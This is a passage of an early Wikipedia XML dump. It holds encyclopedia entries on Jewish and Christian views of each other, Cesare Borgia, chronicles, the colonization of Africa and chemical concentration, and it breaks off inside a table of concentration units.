Jesus plays no role whatsoever in Judaism. Jews are familiar with Jesus only due to their being immersed in a Christian-oriented society. Most Jews believe that Jesus was a real person. Many view him as just one in a long list of failed Jewish claimants to be the messiah, none of whom fulfilled the [[Jewish view of Jesus#Prophets|tests]] of a prophet specified in the Five Books of Moses. Others see Jesus as a teacher who worked with the gentiles and ascribe the messianic claims they find objectionable to his later followers. Because much physical and spiritual violence was done to Jews in the name of Jesus and his followers, and because evangelism is still an active aspect of many church's activities, many religious Jews are uncomfortable with discussing Jesus and treat him as a [[non-person]]. Finally, to still others, perhaps to most Jews, Jesus is simply irrelevant, a central figure in a religion that isn't theirs, much as [[Muhammad]] might seem to many Christians.

On a religious level, Judaism does not believe that God requires the sacrifice of any human. This is emphasized in medieval Jewish traditions concerning the story of the [[Binding of Isaac|Akedah]], the binding of [[Isaac]]. In the Jewish explanation, this is a story whereby God wanted to test Abraham's faith and willingness, and Isaac was never going to be actually sacrificed. Thus, Judaism rejects the notion that anyone can or should die for anyone else's sin. As a religion, Judaism is far more focused on the practicalities of understanding how one may live a sacred life in this world according to God's will, rather than hope of spiritual salvation in a future one. Judaism does not believe in the Christian concept of [[Hell]], nor that only those following one specific faith can be &quot;saved&quot;. Judaism does have a punishment stage in the afterlife (i.e. [[Gehenna]], a one year maximum purgatory) as well as a Heaven ([[Jewish eschatology#The afterlife and olam haba .28the world to come.29|Gan Eden]]), but the religion does not intend it as a focus.

[[Christmas]] and other Christian festivals have no religious significance in Judaism and are not celebrated. Celebration of non-Jewish holy days is considered [[Avodah Zarah]] or &quot;Foreign Worship&quot; and is forbidden; however some secular Jews in the West treat Christmas as a secular (but not religious) holiday.

===Common Christian views of Judaism===

:''Main article:  [[Christianity]]''

In general, Christians view Christianity as the fulfilment and successor of Judaism, and Christianity initially carried forward (and still does albeit in slightly modified form) much of the doctrine and many of the practices from that faith, including [[monotheism]], the belief in a [[Messiah]], and certain forms of worship (such as [[prayer]], and reading from religious texts). Other beliefs around original sin atoned for by God giving his son, or the Son (who is God) coming down to earth for the sake of humanity, and a subsequent sacrifice of that Son, and the belief in the triune nature of God, are essential differences introduced in Christianity that have no counterpart in Judaism. 

Christians consider that the Law was necessary as an intermediate stage, but once the world was able to understand the significance of the Crucifixion, then [[Antinomianism|adherence to Law was superseded]] by faith in Christ as the path to God, and that many of the laws in the Old Testament (the Jewish Five Books of Moses) are no longer required to be applied in life, since humanity is now able to understand and be saved by Jesus directly.

Many Christians today hold to [[supersessionism]], the belief that the Jews' chosenness found its ultimate fulfillment through the message of Jesus: Jews who remain non-Christian are no longer considered to be chosen, since they reject Jesus as the Messiah and Son of God. This position has been softened or even completely abrogated by some churches where Jews are recognized to have a special status due to their covenant with God, so that this continues to be an area of on-going dispute among Christians. 

Some forms of Christianity which view the Jewish people as close to God, seek to understand and incorporate elements of Jewish understanding or perspective into their Christian beliefs as a means to respect their &quot;parent&quot; religion or to more fully seek out and return to their Christian roots. (Sometimes known as ''[[Judaizers]]'' because of the Judaic roots they seek to learn from). More evangelistic Christians tend to see Jews as essentially misguided by not choosing Christ, and as a people whom there is a more specific duty to evangelise or convert. (See ''[[Missionary|Missionaries]]'')

==References==

*Bamberger, Bernard 1981 &quot;Commentary to Leviticus&quot; in ''The Torah: A Modern Commentary'' edited by W. Gunther Plaut.  New York: Union of American Hebrew Congregations.  ISBN 0807400556

*Bloom, Harold 2005 ''Jesus and Yahweh: The Names Divine'' Riverhead 
ISBN 1573223220

*Herberg, Will 1951 ''Judaism and Modern Man: An Interpretation of Jewish religion'' Jewish Publication Society ASIN B0007E19UE 

*Jacobs, Louis 1973 ''A Jewish Theology'' Behrman House ISBN0874412269

*Rosenzweig, Franz 2005 ''The Star of Redemption'' University of Wisconsin Press ISBN 0299207242

==See also==
*[[Anglo-Israelism]]
*[[Anti-Semitism]]
*[[Bible]]
*[[Christianity]]
*[[Christianity and Biblical prophecy]]
*[[Christianity and anti-Semitism]]
*[[Christian Zionism]]
*[[Cultural and historical background of Jesus]]
*[[Jesus]]
*[[Jewish Christians]]
*[[Judeo-Christian]]
*[[Messianic Judaism]]
*[[Mormonism and Judaism]]
*[[Relations between Catholicism and Judaism]]
*[[Sermon on the Mount]]
*[[Shema Yisrael]] (a pivotal Jewish prayer and - in part - declaration of faith)
*[[Supersessionism]]
*[[Unification Church and anti-Semitism]]

== External links ==
*[http://www.amazon.com/exec/obidos/tg/detail/-/0802813623  Jewish-Christian Schism Revisited] - A book on Jewish-Christian relations from an [[Anabaptist]] perspective.
*[http://www.religioustolerance.org/rcc_othe.htm Roman Catholic Church's views on other faiths]

[[Category:Jewish Christian topics|*]]</text>
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  </page>
  <page>
    <title>Cesare Borgia</title>
    <id>7504</id>
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        <username>Kummi</username>
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      <minor />
      <comment>fi:</comment>
      <text xml:space="preserve">[[Image:cesareborgia.jpg|right|Cesare Borgia]]

'''Cesare Borgia'''  ([[September]], [[1475]] &amp;ndash; [[March 12]], [[1507]]), [[Duke of Valentinois]], the illegitimate son of [[Pope Alexander VI]] (Rodrigo Borgia) and [[Vannozza dei Cattani]]. He was older brother to [[Lucrezia Borgia]].

Cesare was born to the mistress of Rodrigo Borgia, an important cardinal and nephew of [[Pope Calixtus III]].  Borgia planned to use the forces of the papacy to further his own family.  After years of scheming, Rodrigo had himself elected Pope in [[1492]].

Cesare was initially groomed by his father for a Church career and was elevated by his father to the rank of [[Catholic Cardinal|Cardinal]] by the age of 22.  Alexander VI staked the hopes for the Borgia family on Cesare's brother Juan, who was made captain general of the military forces of the papacy.  When Juan was assassinated, Alexander was forced to substitute Cesare, despite the fact that this conflicted with Cesare's vows.

Cesare's career was founded entirely upon his father's ability to distribute patronage.  Appointed commander of the papal armies, Cesare was sent by his father to subdue the cities of [[Romagna]] in central [[Italy]]. Though in theory subject directly to the pope, the rulers of these cities had been practically independent or dependent on other states for generations.  Alexander VI hoped that by subduing them his son would create a new central Italian kingdom that would rival [[Naples]], [[Florence]], [[Milan]] and [[Venice]].  

Cesare Borgia briefly employed [[Leonardo da Vinci]] as military architect and engineer at one point.  Leonardo had worked at the Milanese court of [[Ludovico Sforza]] for many years, until [[Charles VIII of France]] drove Sforza out of Italy.

Though an immensely capable general and statesman, Cesare could do nothing without continued papal patronage.  The death of his father ended his own career.  Gravely ill at the time that his father died in [[1503]], his political enemies, led by [[Pope Julius II]], were able to seize and imprison him. Exiled to [[Spain]], in [[1504]], he escaped from a Spanish prison two years later and joined his brother-in-law, King [[John III of Navarre|Jean d'Albret of Navarre]].  Serving [[Navarre]] as a soldier, he died at the [[siege]] of [[Viana, Spain|Viana]] in [[1507]], at the age of thirty-one. 

Cesare Borgia was greatly admired by [[Niccolò Machiavelli]], who knew him personally.  Machiavelli used many of his exploits and tactics as examples in ''[[The Prince]]''.  A few scholars, however, have argued that Machiavelli's praise for Borgia was a parody, to cover up the actual anti-hero of the work, [[Ferdinand II of Aragon]].

It has been suggested that some pictures of Jesus Christ produced around Borgia's lifetime were based on Cesare Borgia, and that this in turn has influenced images of Jesus produced since that time.

==Notable fictionalized films about Cesare Borgia==

* ''[[Lucrezia Borgia (1926 movie)|Lucrezia Borgia]]'' ([[Richard Oswald]], [[1926]]), a [[silent movie]] starring [[Liane Haid]] and [[Conrad Veidt]]
* [[Lucrèce Borgia]] (1935 Movie) ([[Abel Gance]]), french film starring Edwige Feuillère as Lucrezia and Gabriel Gabrio as Cesare.
* ''The Black Duke'' (1961) starring [[Cameron Mitchell (actor)|Cameron Mitchell]] and [[Gloria Milland]]
* ''Bride of Vengeance'' (1948) starring [[Macdonald Carey]] and [[Paulette Goddard]]
* ''Prince of Foxes'' (1949) starring [[Orson Welles]] and [[Tyrone Power]] (from the best-selling book by [[Samuel Shellabarger]]) at [http://www.imdb.com/title/tt0041767/ IMDB ].

==Notable books/comics about Cesare Borgia==

*''[[The Borgia Bride (novel)|The Borgia Bride]]'' by [[Jeanne Kalogridis]]
*''[[The Family (novel)|The Family]]'' by [[Mario Puzo]]
*''[[The Count of Monte Cristo]]'' by [[Alexander Dumas]] mentions many conspiracy theories based around Borgia.
*''[[Cantarella (manga)|Cantarella]]'' by ''Yuu Higuri'' is a [[manga]] attributing [[supernatural]] causes to historic events, starring Cesare.
*''[[Mirror Mirror (novel)|Mirror Mirror]]'' by [[Gregory Maguire]]
*''[[Prince of Foxes (novel)|Prince of Foxes]]'' by [[Samuel Shellabarger]]
*''[[The Banner of the Bull]]'' by [[Rafael Sabatini]]
*''[[The Prince]]'' by [[Machiavelli]]

==External links and resources connected with Cesare Borgia==

*[http://www.classicreader.com/booktoc.php/sid.2/bookid.873/ The Prince] (html format)
*[http://www.classicreader.com/read.php/sid.2/bookid.873/sec.29/ Description of the Methods Adopted by the Duke Valentino When Murdering Vitellozzo Vitelli, Oliverotto da Fermo, the Signor Pagolo, and the Duke di Gravina Orsini] (html format)

[[Category:1475 births|Borgia, Cesare]]
[[Category:1507 deaths|Borgia, Cesare]]
[[Category:Cardinals|Borgia, Cesare]]
[[Category:Italian nobility|Borgia, Cesare]]

[[ar:سيزار بورجيا]]
[[ca:Cèsar Borja]]
[[da:Cesare Borgia]]
[[de:Cesare Borgia]]
[[es:César Borgia]]
[[fr:César Borgia]]
[[hr:Cesare Borgia]]
[[io:Cesare Borgia]]
[[it:Cesare Borgia]]
[[nl:Cesare Borgia]]
[[ja:チェーザレ・ボルジア]]
[[no:César de Borja]]
[[pl:Cezar Borgia]]
[[pt:César Bórgia]]
[[fi:Cesare Borgia]]
[[sv:Cesare Borgia]]</text>
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  <page>
    <title>Cellular telephone</title>
    <id>7505</id>
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      <id>15905569</id>
      <timestamp>2002-11-18T13:26:10Z</timestamp>
      <contributor>
        <ip>213.253.40.136</ip>
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      <comment>redir</comment>
      <text xml:space="preserve">#REDIRECT [[mobile phone]]</text>
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  </page>
  <page>
    <title>Chronicle</title>
    <id>7507</id>
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      <id>41888824</id>
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      <contributor>
        <username>GrinBot</username>
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      <minor />
      <comment>robot  Adding: ca</comment>
      <text xml:space="preserve">Generally a '''chronicle''' ([[Latin]] ''chronica'') is historical
account of facts and events in [[chronology|chronological]] order. Typically equal weight is given for important events and less important events, the purpose being the recording of events that occurred. This is in contrast to a narrative or history, which focuses on important events and excludes those the author does not see as important. 

[[Image:nabonidus chronicle.jpg|thumb|200px|right|  [[Nabonidus Chronicle]], [[British Museum]], London]]

Scholars categorize the [[genre]] of chronicle into two subgroups: live chronicles, and dead chronicles. A ''dead'' chronicle is one where the author gathers his list of events up to the time of his writing, but does not record further events as they occur. A ''live'' chronicle is where one or more authors add to a chronicle in a regular fashion, recording contemporary events shortly after they occur. Because of the immediacy of the information, [[historian]]s tend to value live chronicles over dead ones.

The term often refers to a [[book]] written by a chronicler in the [[Middle Ages]] describing historical events in a country, or the lives of a nobleman or a clergyman, although it is also  applied to a record of public events. Various contemporary [[newspaper]]s or other 
[[periodical]]s have adopted &quot;chronicle&quot; as part of their name. Various [[fictional]] stories have also adopted &quot;chronicle&quot; as part of their title, to give an impression of epic proportion to their stories.

==List of notable chronicles==
*[[Anglo-Saxon Chronicle]]
*[[Annals of Inisfallen]]
*[[Annals of the Four Masters]]
*[[Annals of Spring and Autumn]]
*[[Croyland Chronicle]]
*[[Chronicle of the Priest of Duklja|Dioclean Priest's Chronicle]]
*[[Froissart's Chronicles]]
*[[Galician-Volhynian Chronicle]]
*[[Chronicle of Henry of Livonia|Henry of Livona Chronicle]]
*[[Chronicon (Jerome)|Jermone Chronical]]
*[[Kano Chronicle]]
*[[Chronicon Lethrense|Lethrense Chronicle]]
*[[Maha Wamsa]] or [[Mahavamsa]] 
*[[Chronicon Paschale|Paschale Chronicle]]
*[[Primary Chronicle|Russian Primary Chronicle]]
*[[Sanguo Zhi]]
*[[Chronicon Slavorum|Slavorum Chronicle]]
*[[Swiss illustrated chronicles]]

==See also==
*'''Chronicles''' are two canonical books of the [[Old Testament]]. See [[Books of Chronicles]].
*[[List of English chronicles]]
*[[English historians in the Middle Ages]]
*[[Weblog]]

[[Category:Chronicles|*]]
[[Category:Medieval literature]]

[[ca:Crònica]]
[[cs:Kronika]]
[[de:Chronik]]
[[et:Kroonika]]
[[es:Crónica]]
[[hu:Krónika]]
[[ja:年代記]]
[[no:Krønike]]
[[pl:Kronika]]
[[ro:Letopiseţ]]</text>
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  </page>
  <page>
    <title>Colonization of Africa</title>
    <id>7510</id>
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      <contributor>
        <username>Warofdreams</username>
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      <minor />
      <comment>Reverted edits by [[Special:Contributions/24.8.20.72|24.8.20.72]] ([[User talk:24.8.20.72|talk]]) to last version by That Guy, From That Show!</comment>
      <text xml:space="preserve">The '''colonization of Africa''' has a long history, the most famous phase being the European [[Scramble for Africa]] of the [[nineteenth century]].

==Ancient Colonization==
[[North Africa]] in particular experienced colonization from [[Europe]] and [[Asia Minor]] in the early historical period.

The city of [[Carthage]] was established in what is now [[Tunisia]] by [[Phoenicia]]n colonists, becoming a major power in the [[Mediterranean]] by the [[4th century BC]]. Over time the city changed hands, falling to the [[Roman Empire|Roman]]s after the [[Third Punic War]], where it served as the capital city of the Romans' African province. Gothic [[Vandals]] briefly established a kingdom there in the [[5th century]], which shortly thereafter fell to the Romans again, this time the [[Byzantine Empire|Byzantines]]. The [[Ancient Egypt]]ian civilization also fell under the sway of the [[Hellenic civilization|Greeks]], later passing to the Romans. The whole of Roman/Byzantine North Africa eventually fell to the [[Arab]]s in the [[7th century]], who brought the [[Islam]]ic religion and [[Arabic language]] (see [[History of Islam]]).

==Early modern period==
From the seventh century, Arab trade with sub-Saharan Africa led to a gradual colonization of [[East Africa]], around [[Zanzibar]] and other bases.  Although [[trans-Saharan trade]] led to a small number of [[West Africa]]n cities developing Arab quarters, these were not intended as colonies and even the pillage of the [[Moroccan war]] in the Sahel finished with [[Morocco|Moroccan]] forces returning home.

Early European expeditions concentrated on colonizing previously uninhabited islands such as the [[Cape Verde]]s and [[Sao Tome Island]], or establishing coastal [[fort]]s as a base for trade.  These forts often developed areas of influence along coastal strips, but (with the exception of the [[River Senegal]]), the vast interior of Africa was not colonized and indeed little known to Europeans until the late [[nineteenth century]].

==The Scramble for Africa==
:''Main article: [[Scramble for Africa]]''

Established empires, notably Britain, Portugal and France, had already expropriated vast areas of Africa and Asia, and emerging imperial powers like Italy and Germany had done likewise on a smaller scale. With the dismissal of the aging [[Otto von Bismarck|Chancellor Bismarck]] by [[Wilhelm II of Germany|Kaiser Wilhelm II]], the relatively orderly colonization became a frantic scramble. The [[1885]] Congress of Berlin, initiated by Bismarck to establish international guidelines for the acquisition of African territory, formalized this &quot;[[New Imperialism]]&quot;. Between the [[Franco-Prussian War]] and the [[World War I|Great War]], [[Europe]] added almost 9 million square miles (23,000,000 km&amp;sup2;) &amp;#8212; one-fifth of the land area of the globe &amp;#8212; to its overseas colonial possessions.

== Decolonization ==
:''Main article: [[Decolonization of Africa]]''
The main period of decolonization in Africa began after [[World War II]].  Growing independence movements, indigeneous political parties and trade unions coupled with pressure from within the imperialist powers and from the [[United States]] ensured the decolonization of virtually the whole of the continent by [[1980]].  While some areas, in particular [[South Africa]], retain a large population of European descent, only the Spanish [[enclave]]s of [[Ceuta]] and [[Melilla]] and the islands of [[Reunion]], the [[Canary Islands]] and [[Madeira]] remain under European control.

==See also==
*[[Colonialism]]
*[[New Imperialism]]
*[[Neocolonialism]]
*[[Third world]]

==References==
{{unreferenced}}

==External links==
* [http://www.africana.com/articles/daily/index_20021014.asp Germany Refuses to Apologize for Herero Holocaust] - from Africana.com
* [http://www.guardian.co.uk/print/0,3858,4460659-103681,00.html Belgium exhumes its colonial demons] - from guardian.co.uk

[[Category:Colonialism]]
[[Category:History of Africa]]
[[Category:History of colonialism]]

[[pt:História da colonização de África]]</text>
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  </page>
  <page>
    <title>Concentration</title>
    <id>7512</id>
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        <username>Bomac</username>
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      <comment>+mk</comment>
      <text xml:space="preserve">:''for other uses of this word, see [[Concentration (disambiguation)]]''
In [[chemistry]], '''concentration''' is the measure of how much of a given [[chemical substance|substance]] there is mixed with another substance. This can apply to any sort of chemical mixture, but most frequently is used in relation to [[solution]]s, where it refers to the amount of ''solute'' dissolved in a ''solvent''.

To '''concentrate''' a solution, one must add more solute, or reduce the amount of solvent (for instance, by selective [[evaporation]]). By contrast, to '''[[dilute]]''' a solution, one must add more solvent, or reduce the amount of solute.

There exists a concentration at which no further solute will dissolve in a solution. At this point, the solution is said to be [[Saturation (chemistry)|saturated]]. If additional solute is added to a saturated solution, it will not dissolve. Instead,  [[Phase (matter)#Phase separation|phase separation]] will occur, leading to either coexisting phases or a [[suspension (chemistry)|suspension]]. The point of saturation depends on many variables such as ambient temperature and the precise chemical nature of the solvent and solute. 

Concentration may be expressed both [[qualitative|qualitatively]] ('informally') or [[quantitative|quantitatively]] ('numerically').

== Qualitative notation ==
Qualitatively, solutions of relatively low concentration are described using adjectives such as &quot;dilute,&quot; or &quot;weak,&quot; while solutions of relatively high concentration are described as &quot;concentrated,&quot; or &quot;strong.&quot; As a rule, the more concentrated a [[color|chromatic]] solution is, the more intensely coloured it is.

[[Image:Dilution-concentration simple example.jpg|frame|none|These glasses containing red dye demonstrate qualitative changes in concentration. The solutions on the left are &quot;weaker&quot; (or more dilute), compared to the &quot;stronger&quot; (or more concentrated) solutions on the right.]]

== Quantitative notation ==
Quantitative notation of concentration is far more informative and useful from a scientific point of view. There are a number of different ways to quantitatively express concentration; the most common are listed below.

''Note: Many units of concentration require measurement of a substance's volume, which is variable depending on ambient temperature and pressure. Unless otherwise stated, all the following measurements are assumed to be at [[standard state]] temperature and pressure (that is, 25 degrees [[Celsius]] at 1 [[atmosphere (unit)|atmosphere]] or 101.325'' kPa'').''

===Mass percentage===
''Mass percentage'' denotes the [[mass]] of a substance in a mixture as a [[percentage]] of the mass of the entire mixture. For instance: if a bottle contains 40 [[gram]]s of [[ethanol]] and 60 grams of [[water]], then it contains 40% ethanol by mass. Commercial concentrated aqueous reagents such as acid and bases are often labeled in concentrations of ''weight percentage'' with the [[specific gravity]] also listed. In older texts and references this is sometimes referred to as ''weight-weight percentage'' (abbreviated as ''w/w'').

===Mass-volume percentage===
''Mass-volume percentage'', (sometimes referred to as weight-volume percentage and often abbreviated as % m/v or % w/v) denotes the mass of a substance in a mixture as a percentage of the volume of the entire mixture. Mass-volume percentage is often used for solutions made from
solid reagents. It is the mass of the solute in grams multiplied by one hundred divided by the volume of solution in millilitres.

===Volume-volume percentage===
''Volume-volume percentage'' or % (v/v) describes the volume of the solute in mL  per 100 mL of the resulting solution. This is most useful when a liquid - liquid solution is being prepared. For example, beer is about 5% ethanol by volume. This means every 100 mL beer contains 5 mL
ethanol (ethyl alcohol).

===Molarity=== 
''Molarity'' (M) denotes the number of [[mole (unit)|mole]]s of a given substance per [[litre]] of solution. For instance: 4.0 litres of liquid, containing 2.0 moles of dissolved particles, constitutes a solution of 0.5 M. Such a solution may be described as &quot;0.5 molar.&quot; (Working with moles can be highly advantageous, as they enable measurement of the absolute number of particles in a solution, irrespective of their weight and volume. This is often more useful when performing [[stoichiometry|stoichiometric]] calculations.). See [[molar solution]] for further information.

===Molality=== 
''Molality'' (m) denotes the number of moles of a given substance per kilogram of solvent. For instance: 2.0 kilograms of solvent, containing 1.0 moles of dissolved particles, constitutes a molality of 0.5 mol/kg. Such a solution may be described as &quot;0.5 molal.&quot;

The advantage of molality is that it does not change with the temperature as it deals with the mass of solvent, rather than the volume of solution. Volume typically increases with increase in temperature resulting in decrease in molarity. Molality of a solution is always constant irrespective of the physical conditions like temperature and pressure.

===Molinity===
''Molinity'' is a rarely-used term that denotes the number of moles of a given substance per [[kilogram]] of solution. For instance: imagine 2.0 kg of solvent, plus 1.0 mol of dissolved particles, weighs a total of 2.5 kg. The molinity of the solution is therefore 1 mol / 2.5 kg = 0.4 mol/kg. 

:''Note: molarity and molinity are calculated using the volume of the entire solution, but molality is calculated using the mass of solvent only.''

:

===Normality===
''Normality'' is a concept related to ''molarity'', usually applied to [[acid]]-[[base (chemistry)|base]] solutions and reactions. For acid-base reactions, the equivalent is the mass of acid or base that can accept or donate exactly one mole of protons (H&lt;sup&gt;+&lt;/sup&gt; ions). Normality is also used for [[redox]] reactions. In this case the equivalent is the quantity of oxidizing or reducing agent that can accept or furnish one mole of [[electron]]s.

Whereas molarity measures the number of particles per litre of solution, normality measures the number of [[equivalent weight (chemistry)|equivalents]] per litre of solution. 

In practice, this simply means one multiplies the molarity of a solution by the [[valence]] of the ionic solute. A bit more complex for redox reactions.

''Note: The normality is always equal to, or greater than the molarity for acid-base reactions. However, for redox reactions the normality is typically equal to or less than the molarity.''

===Mole fraction=== 
The ''[[mole fraction]]'' &amp;chi;, chi (also called ''molar fraction'') denotes the number of moles of solute as a proportion of the total number of moles in a solution. For instance: 1 mole of solute dissolved in 9 moles of solvent would have a mole fraction of 1/10 or 0.1.

===Formal===
The ''formal'' (F) is yet another measure of concentration similar to molarity. It is used rarely. It is calculated based on the formula weights of chemicals per litre of solution. The difference between formal and molar concentrations is that the formal concentration indicates moles of the original chemical formula in solution, without regard for the species that actually exist in solution. Molar concentration, on the other hand, is the concentration of species in solution. 

For example: if one dissolves sodium carbonate (Na&lt;sub&gt;2&lt;/sub&gt;CO&lt;sub&gt;3&lt;/sub&gt;) in a litre of water, the compound dissociates into the Na&lt;sup&gt;+&lt;/sup&gt; and CO&lt;sub&gt;3&lt;/sub&gt;&lt;sup&gt;2-&lt;/sup&gt; ions. Some of the CO&lt;sub&gt;3&lt;/sub&gt;&lt;sup&gt;2-&lt;/sup&gt; reacts with the water to form HCO&lt;sub&gt;3&lt;/sub&gt;&lt;sup&gt;-&lt;/sup&gt; and H&lt;sub&gt;2&lt;/sub&gt;CO&lt;sub&gt;3&lt;/sub&gt;. If the pH of the solution is low, there is practically no Na&lt;sub&gt;2&lt;/sub&gt;CO&lt;sub&gt;3&lt;/sub&gt; left in the solution. So, although we have added 1 mol of Na&lt;sub&gt;2&lt;/sub&gt;CO&lt;sub&gt;3&lt;/sub&gt; to the solution, it does not contain 1 M of that substance. (Rather, it contains a molarity based on the other constituents of the solution.) However, one can still say that the solution contains 1 F of Na&lt;sub&gt;2&lt;/sub&gt;CO&lt;sub&gt;3&lt;/sub&gt;. 

===&quot;Parts-per&quot; notation=== 
The ''parts-per'' notation is used for extremely low concentrations. This is often used to denote the relative abundance of trace [[chemical element|elements]] in the Earth's crust, trace elements in forensics or other analyses, or levels of [[pollutant]]s in the [[natural environment|environment]].

*''Parts per [[hundred]]'' (denoted by '%' and very rarely 'pph') - denotes one particle of a given substance for every 99 other particles. This is the common percent. 1 part in 10&lt;sup&gt;2&lt;/sup&gt;.
*''Parts per [[1000 (number)|thousand]]'' (denoted by '&amp;#137;' [the per mil symbol], and occasionally 'ppt') denotes one particle of a given substance for every 999 other particles. This is roughly equivalent to one drop of ink in a cup of water, or one second per 17 minutes. 'Parts per thousand' is often used to record the [[salinity]] of [[seawater]]. 1 part in 10&lt;sup&gt;3&lt;/sup&gt;.
*''[[Parts per million]]'' ('ppm') denotes one particle of a given substance for every 999,999 other particles. This is roughly equivalent to one drop of ink in a 40 gallon drum of water, or one second per 280 hours. 1 part in 10&lt;sup&gt;6&lt;/sup&gt;.
*''Parts per [[billion]]'' ('[[ppb]]') denotes one particle of a given substance for every 999,999,999 other particles. This is roughly equivalent to one drop of ink in a [[canal lock]] full of water, or one second per 32 years. 1 part in 10&lt;sup&gt;9&lt;/sup&gt;.
*''Parts per [[trillion]]'' ('ppt') denotes one particle of a given substance for every 999,999,999,999 other particles. This is roughly equivalent to one drop of ink in an Olympic-sized swimming pool, or one second every 320 centuries. 1 part in 10&lt;sup&gt;12&lt;/sup&gt;.
*''Parts per [[quadrillion]]'' ('ppq') denotes one particle of a given substance for every 999,999,999,999,999 other particles. This is roughly equivalent to a drop of ink in a medium-sized lake, or one second every 32,000 [[millennium|millennia]]. There are a few analytical techniques that can measure ppq concentrations; and it is used in some mathematical models of [[toxicology]] and [[epidemiology]]. 1 part in 10&lt;sup&gt;15&lt;/sup&gt;.  Some contaminants such as methylmercury can be present in lakes at ppq concentrations and are biomagnified such that fish contain ppm concentrations of mercury.

Warning: although 'ppt' is usually used to denote 'parts per trillion', it is also on occasion used to denote 'parts per thousand'. If there is any chance of ambiguity, one should describe the abbreviation in full.

According to the U.S. National Institute of Standards and Technology (NIST) ''Guide for the Use of the International System of Units (SI),'' &quot;the language-dependent terms part per million, part per billion, and part per trillion ... are not acceptable for use with the SI to express the values of quantities.&quot; [http://physics.nist.gov/Pubs/SP811/sec07.html#7.10.3] which lists examples of alternative expressions.

Notes for clarity:
:The indication given above is that parts per notation refers to numbers of particles (equivalent to moles), whereas in the last column of the chart below it is given by mass (grams per kilogram). Those using the notation need to state their usage to avoid confusion.

:In [[atmospheric chemistry]] the parts per notation is commonly expressed with a '''v''' following, such as '''ppmv''' (or '''ppvm''' is some usages), to indicate parts per million by volume. In gases ppmv is equivalent to ppm by particles ([[Avogadro's law]]). This works fine for gases, but may have problems with cloud droplets and smoke or other atmospheric particulate matter.

== Techniques used to determine concentration ==
*[[Spectrophotometry]]
*[[Chromatography]]
*Various [[titration]] methods

== Table of concentration measures ==
&lt;table border=&quot;1&quot; cellpadding=&quot;5&quot; cellspacing=&quot;0&quot; align=&quot;center&quot;&gt;
&lt;caption&gt;'''Frequently used standards of concentration'''&lt;/caption&gt;
&lt;tr&gt;
&lt;th style=&quot;background:#ffdead;&quot;&gt;Measurement&lt;/th&gt;
&lt;th style=&quot;background:#ffdead;&quot;&gt;Notation&lt;/th&gt;
&lt;th style=&quot;background:#ffdead;&quot;&gt;Generic formula&lt;/th&gt;
&lt;th style=&quot;background:#ffdead;&quot;&gt;Typical units&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Mass percentage&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;td&gt;&lt;math&gt;\left ( \frac{\mathrm{grams}\ \mathrm{solute} \times 100}{\mathrm{grams}\ \mathrm{solution}} \right )&lt;/math&gt;&lt;/td&gt;
&lt;td&gt;%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Mass-volume percentage&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;td&gt;&lt;math&gt;\left ( \frac{\mathrm{grams}\ \mathrm{solute} \times 100}{\mathrm{millilitres}\ \mathrm{solution}} \right )&lt;/math&gt;&lt;/td&gt;
&lt;td&gt;% ''though strictly'' %kg/L&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Volume-volume percentage&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;td&gt;&lt;math&gt;\left ( \frac{\mathrm{millilitres}\ \mathrm{solute} \times 100}{\mathrm{millilitres}\ \mathrm{solution}} \right )&lt;/math&gt;&lt;/td&gt;
&lt;td&gt;%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Molarity&lt;/td&gt;
&lt;td&gt;M&lt;/td&gt;
&lt;td&gt;&lt;math&gt;\left ( \frac{\mathrm{moles}\ \mathrm{solute}}{\mathrm{litres}\ \mathrm{solution}} \right )&lt;/math&gt;&lt;/td&gt;
&lt;td&gt;mol/L (or M)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Molinity&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;td&gt;&lt;math&gt;\left ( \frac{\mathrm{moles}\ \mathrm{solute}}{\mathrm{kilograms}\ \mathrm{solution}} \right )&lt;/math&gt;&lt;/td&gt;
&lt;td&gt;mol/kg&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Molality&lt;/td&gt;
&lt;td&gt;m&lt;/td&gt;
&lt;td&gt;&lt;math&gt;\left ( \frac{moles\ solute}{kilograms\ solvent} \right )&lt;/math&gt;&lt;/td&gt;
&lt;td&gt;mol/kg (or m)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Molar fraction&lt;/td&gt;
&lt;td&gt;&amp;chi; (chi)&lt;/td&gt;
&lt;td&gt;&lt;math&gt;\left ( \frac{moles\ solute}{moles\ solution} \right )&lt;/math&gt;&lt;/td&gt;
&lt;td&gt;(fraction)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Formal&lt;/td&gt;
&lt;td&gt;F&lt;/td&gt;
&lt;td&gt;&lt;math&gt;\left ( \frac{moles\ undissolved\ solute}{litres\ solution} \right )&lt;/math&gt;&lt;/td&gt;
&lt;td&gt;mol/L (or F)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Normality&lt;/td&gt;
&lt;td&gt;N&lt;/td&gt;
&lt;td&gt;&lt;math&gt;\left ( \frac{moles\ solute}{litres\ solution} \times valence\ of\ solute \right )&lt;/math&gt;&lt;/td&gt;
&lt;td&gt;N&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Parts per hundred&lt;/td&gt;
&lt;td&gt;% (or pph)&lt;/td&gt;
&lt;td&gt;&lt;math&gt;\left ( \frac{dekagrams\ solute}{kilograms\ solution} \right )&lt;/math&gt;&lt;/td&gt;
&lt;td&gt;da.g/kg&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Parts per thousand&lt;/td&gt;
&lt;td&gt;&amp;#137; (or ppt*)&lt;/td&gt;
&lt;td&gt;&lt;math&gt;\left ( \frac{grams\ solute}{kilograms\ solution} \right )&lt;/math&gt;&lt;/td&gt;
&lt;td&gt;g/kg&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Parts per million&lt;/td&gt;
